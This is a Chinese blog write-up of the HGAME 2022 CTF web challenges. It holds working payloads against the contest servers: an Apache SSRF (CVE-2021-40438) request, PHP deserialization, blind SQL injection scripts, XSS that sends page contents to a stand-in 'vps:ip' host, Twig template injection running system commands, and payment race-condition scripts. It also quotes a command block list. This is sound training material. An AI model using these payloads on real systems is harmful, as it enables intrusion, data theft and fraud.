HGAME 2022web部分题解

本文最后更新于:2022年10月19日 下午

第一周题目没啥意思就不写wp了(懒

第二周

Apache!

Ooops,Summ3r 的机器被大黑阔打穿了!不过还好 Summ3r 有备份的习惯,把 flag 备份在了内网的某台机器上面,嘿嘿嘿。。。

进入题目发现显示为ERROR 500,右键查看源码发现www.zip,下载得到四个文件,依次查看发现

需要访问/flag得到flag

使用了mod_proxy做反向代理,存在/proxy代理
结合题目的apache2.4.48和内网,猜测为apache+ssrf,为CVE-2021-40438
参考文章:https://www.leavesongs.com/PENETRATION/apache-mod-proxy-ssrf-cve-2021-40438.html

多发送几次得到flag

/proxy?unix:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|http://internal.host/flag

webpack-engine

webpack packs the web.
(请使用 Chrome 浏览器打开)

访问发现是一个按钮,应该是js触发的,F12发现

发现webpack://./src/views/Fl4g_1s_her3.vue,base64解码一下内容

发现flag,再进行两次base64解码即可

hgame{D0nt_f0r9et_2_ClOs3_S0urce_m@p}

一本单词书

为了顺利通过六级,Summ3r用世界上最好的语言写了个单词书,嘿嘿嘿

查看源码发现www.zip,那么就可以得到源码了

发现用户名为adm1n,密码不能纯数字并且弱等于1080,直接1080a就可以了
evil.php:

<?php

class Evil {
    public $file;
    public $flag;

    public function __wakeup() {
        $content = file_get_contents($this->file);
        if (preg_match("/hgame/", $content)) {
            $this->flag = 'hacker!';
        }
        $this->flag = $content;
    }
}

这里应该是写反了,应该将$content的值赋为$this->flag,不然过滤没起到作用
如果过滤了的话可以使用伪协议将文件内容进行加密,即:php://filter/convert.base64-encode/resource=/flag
get.php:

<?php
session_start();
include 'admin_check.php';
include 'evil.php';

// flag is in /flag

function decode(string $data): Array {
    $result = [];
    $offset = 0;
    $length = \strlen($data);
    while ($offset < $length) {
        if (!strstr(substr($data, $offset), '|')) {
            return [];
        }
        $pos = strpos($data, '|', $offset);
        $num = $pos - $offset;
        $varname = substr($data, $offset, $num);
        $offset += $num + 1;
        $dataItem = unserialize(substr($data, $offset));

        $result[$varname] = $dataItem;
        $offset += \strlen(serialize($dataItem));
    }
    return $result;
}

function loadSessionData(): Array {
    $filename = '/tmp/'.$_SESSION['unique_key'].'.session';
    if (file_exists($filename)) {
        $str = file_get_contents($filename);
        return decode($str);
    } else {
        file_put_contents($filename, '');
        return [];
    }
}

echo json_encode(loadSessionData());

save.php:

<?php
session_start();
include 'admin_check.php';

function encode($data): string {
    $result = '';
    foreach ($data as $k => $v) {
        $result .= $k . '|' . serialize($v);
    }

    return $result;
}

function saveSessionData() {
    $filename = "/tmp/".$_SESSION['unique_key'].'.session';
    $data = json_decode(file_get_contents("php://input"));
    $str = encode($data);
    file_put_contents($filename, $str, FILE_APPEND);
}

if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    saveSessionData();
} else {
    echo 'method not allowed';
}

首先是save.php,保存的文件名为

$filename = "/tmp/".$_SESSION['unique_key'].'.session';

文件内容为POST传参的值进行json_decode解码,然后再encode加密。发现会对json的值序列化,并且在前面加一个标志|
进入到get.php,在decode函数内存在unserialize,会反序列化json的值。decode函数首先查找|的位置,然后前面的值为$varname,后面的值为$dataItem,那么我们可以在键中插入|,让$dataItem为我们可控的值,即:

{"aaaa|O:4:\"Evil\":2:{s:4:\"file\";s:5:\"/flag\";s:4:\"flag\";N;}":"aaaa"}

发送即可得到flag

Pokemon

选择你的宝可梦吧,召唤师!

sql注入,一开始的index.php界面没有啥思路,转到error.php?code=404'会报错,发现一些关键字都被过滤了,被替换为空,还过滤了空格和=

根据这个界面尝试双写,发现成功绕过过滤

布尔盲注


发现||1成功执行,那么就存在布尔盲注了,=可以使用rklie替换,剩下的双写绕过即可,payload:

import requests

url = 'http://121.43.141.153:60056/error.php?code=-1'

result = ''

for x in range(0, 100):
    high = 127
    low = 32
    mid = (low + high) // 2
    while high > low:
        #payload = "0||if(ascii(substr((seselectlect/*/**/*/database()),{},1))>{},1,0)%23" .format(x, mid)
        #payload = "0||if(ascii(substr((seselectlect/*/**/*/group_concat(table_name)/*/**/*/frfromom/*/**/*/infoorrmation_schema.tables/*/**/*/whwhereere/*/**/*/table_schema/*/**/*/rlike/*/**/*/'pokemon'),{},1))>{},1,0)%23" .format(x, mid)
        #payload = "0||if(ascii(substr((seselectlect/*/**/*/group_concat(column_name)/*/**/*/frfromom/*/**/*/infoorrmation_schema.columns/*/**/*/whwhereere/*/**/*/table_name/*/**/*/rlike/*/**/*/'fllllllllaaaaaag'),{},1))>{},1,0)%23" .format(x, mid)

        payload = "0||if(ascii(substr((seselectlect/*/**/*/flag/*/**/*/frfromom/*/**/*/fllllllllaaaaaag),{},1))>{},1,0)%23" .format(x, mid)
        response = requests.get(url+payload,timeout=5)
        if b'404 Pokemon not found403 Forbidden' in response.content:
            low = mid + 1
        else:
            high = mid
        mid = (low + high) // 2

    result += chr(int(mid))
    print(result)

联合注入

看了wp发现其实可以直接联合盲注,sb了

  • 绕过空格:使用 /*1*/ 或者 /*/**/*/
  • 绕过 union,select,where,from,and,or:双写绕过: union => uniunionon
  • 绕过 =:使用 like 或者 regexp
    #查询数据库
    404/*1*/ununionion/*1*/selselectect/*1*/111,database()
    #查询表
    404/*1*/ununionion/*1*/selselectect/*1*/111,group_concat(table_name)/*1*/frfromom/*1*/infoorrmation_schema.tables/*1*/whewherere/*1*/table_schema/*1*/regexp/*1*/"^pokemon$"
    #查询列
    404/*1*/ununionion/*1*/selselectect/*1*/111,group_concat(column_name)/*1*/frfromom/*1*/infoorrmation_schema.columns/*1*/whewherere/*1*/table_name/*1*/regexp/*1*/"^fllllllllaaaaaag$"
    #查询 flag
    404/*1*/ununionion/*1*/selselectect/*1*/111,flag/*1*/frfromom/*1*/fllllllllaaaaaag

At0m的留言板

留言站被日了之后At0m去认真学了下Web安全,这回就算是大茄子来了也别想轻易日开。
https://at0m-hgame-wall0-1308188104.cos.ap-singapore.myqcloud.com/template.html
抢先试用At0m的留言板请加微信公众号:宅男的天台


发现flag在script内
关注公众号后发消息会收到一个链接,打开是图片并且回显我们传入的值,发现可以解析html语句,但script被过滤了

使用<a><img>标签都可以正常解析

<img src="#" onerror=alert('xss')>

非预期

弹窗并不会显示,先尝试使用xss平台获取网页源码,发现失败了,换成vps,然后使用document.querySelector获取script元素,这里需要使用encodeURI进行加密,也可以使用window.btoa进行base64加密
HTML DOM querySelector() 方法

<img src=x onerror=s=createElement('script');body.appendChild(s);s.src='http://vps:ip/'+encodeURI(document.querySelector('script').textContent);>

除夕给了个红包,然后发现上面payload获取不了,这里需要使用document.getElementsByTagName('script')[1]或者document.querySelectorAll('script')[1]获取 NodeList 对象来得到值

<img src=x onerror=s=createElement('script');body.appendChild(s);s.src='http://vps:ip/'+window.btoa(document.getElementsByTagName('script')[1].textContent);>

然后解jsfuck的时候红包没了。。。。。

预期

这也是模板html的提示点:为什么同样是两个变量,第一个使用let,而第二个使用var呢?因为使用 var 可以利用 Object.keys(window) 拿到全局变量 flag 的变量名,而使用let的话无法获取

看了wp发现其实可以直接输出的,直接修改class="content"下面的数值为我们需要的数值即可,其实蛮简单的。。。
HTML DOM getElementsByClassName() 方法
Object.keys()方法会返回一个由给定对象的自身可枚举属性组成的数组
全局变量是 window 对象的属性

<img src=1 onerror="document.getElementsByClassName('content')[0].innerText = Object.keys(window)">


最后使用

<img src=1 onerror="document.getElementsByClassName('content')[0].innerText = F149_is_Here">

第三周

SecurityCenter

道路千万条,安全第一条
题目环境每 5min 重置一次

发现存在提示/vendor/composer/installed.json

访问发现使用了twig v3.3.7模板

可参考:Twig 模板注入从零到一,使用{{2*2}}

成功解析,那么就存在漏洞,尝试使用payload {{["id"]|map("system")}},执行成功

那么读取源码:

{{["ca''t redirect.php|base64"]|map("system")}}
<?php

use Twig\Environment;
use Twig\Loader\ArrayLoader;

require_once 'vendor/autoload.php';

error_reporting(0);

$text = '';
if (isset($_GET['url'])) {
  $loader = new ArrayLoader();
  $twig = new Environment($loader);
  $url = $_GET['url'];
  $blacklist = "/cat|bash|sh|nc|netcat|apk|apt/i";
  if (preg_match($blacklist, $url)) {
    $url = "Hacker!";
  }
  $template = $twig->createTemplate("您即将离开本页面,请注意您的帐号和财产安全! </br> {$url}");
  $text = $template->render();
  if (preg_match('/hgame/i', $text)) {
    $text = 'Hacker! preg_match(\'/hgame/i\', $text)';
  }
}
?>

最后读取flag

{{["ca''t /flag|base64"]|map("system")}}

Vidar shop demo

首先我们测试注册、登录、创建订单、支付、删除等功能,发现删除订单后会退还余额
然后进行抓包,发现在/api/order/list中修改为别人的uid可以得到他们的订单,但实际帮助不大

非预期

尝试了半天,最后在删除订单处抓包,修改id为我们未支付的订单id

发现成功删除,并且获得了10000余额

最后就可以购买flag了

预期

想到过可能是条件竞争,用bp没爆破出来,思路错了

在这里,先查询出用户余额,然后创建订单,最后更新用户余额(余额值取自查询出的余额扣除订单金额)。整个过程持续了超过500ms(正常不会这么慢,特地sleep是为了方便做题)。所以假如在500ms内有同一个用户的多个不同订单的支付请求打进来,不妨假设查询到的用户余额都是100币(因为还没超过500ms,第一个请求还未更新用户余额),那么最终的结果是订单全部支付成功,但是用户的余额仅仅更新为了(100-最后一个订单金额)。
最后再手动依次取消支付成功的订单,余额就会变多

就是同时支付两个订单,但只会消耗一个订单的价钱,官方的exp:

type Ts struct {
	Uid int `json:"uid"`
	Oid int `json:"oid"`
	Amount int `json:"amount"`
}
func TestHgame(T *testing.T) {
	var ts Ts
	ts.Uid = 1
	ts.Oid = 7
	ts.Amount = 5
	go gorequest.New().Post("http://127.0.0.1:8003/api/pay/create").Set("Authorization", "bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2NDM3NTAyNjEsImlhdCI6MTY0MzY2Mzg2MSwidWlkIjoxfQ.b1QV-ubi277QQobG9sS-T4XKq0P78wGMlKZ3aQTFiNE").SendStruct(&ts).End()
	var ts2 Ts
	ts2.Uid = 1
	ts2.Oid = 8
	ts2.Amount = 5
	go gorequest.New().Post("http://127.0.0.1:8003/api/pay/create").Set("Authorization", "bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2NDM3NTAyNjEsImlhdCI6MTY0MzY2Mzg2MSwidWlkIjoxfQ.b1QV-ubi277QQobG9sS-T4XKq0P78wGMlKZ3aQTFiNE").SendStruct(&ts2).End()
	time.Sleep(5 * time.Second)
}

这里我写了一个python的exp:

import requests
import json
import _thread

session=requests.session()
token = "bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2NDQ3MzMxODAsImlhdCI6MTY0NDY0Njc4MCwidWlkIjo0OTh9.q2WZsYbLusLvCUD7Yvaj41Ex64DYSJI6xSLIouyIrfI"

url = "http://d47b8324e1.vidar-shop.mjclouds.com/api/pay/create"

data1 = json.dumps({"uid":498,"oid":42563,"amount":40})
data2 = json.dumps({"uid":498,"oid":42564,"amount":20})

def step1(session):
    r1 = session.post(url,data = data1,headers = {"Content-Type":"application/json",'Authorization': token})


def step2(session):
    r2 = session.post(url,data = data2,headers = {"Content-Type":"application/json",'Authorization': token})


if __name__ == "__main__":
    try:
        _thread.start_new_thread( step1, (session,) )
        _thread.start_new_thread( step2, (session,) )
   
    except:
        print ("Error: 无法启动线程")
        
    while 1:
        pass

价钱成功增加,就可以购买flag了

LoginMe(复现)

/static/hint.webp 发现存在提示

其实题目蛮简单的,但是我没试出来。。。用这个test')/**/and/**/1--就可以成功登录了
题目是sqlite 数据库,sqlite 中获取表和列的方式为

select sql from sqlite_master where type='table'

看了wp写了个二分法的脚本

import requests
import json

url = 'http://a9a6641000.login.summ3r.top:60067/login'

result = ''

for x in range(1, 100):
    high = 127
    low = 32
    mid = (low + high) // 2
    while high > low:
        #username = "test')/**/and/**/substring((select/**/sql/**/from/**/sqlite_master),{},1)>'{}'--"  .format(x,chr(mid))
        username = "test')/**/and/**/substring((select/**/password/**/from/**/uuussseeerrrsss),{},1)>'{}'--"  .format(x,chr(mid))
        payload = json.dumps({"username":username,"password":"test"})
        response = requests.post(url,data=payload,timeout=5,headers = {"Content-Type":"application/json"})
        if b'success' in response.content:
            low = mid + 1
        else:
            high = mid
        mid = (low + high) // 2

    result += chr(int(mid))
    print(result)


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!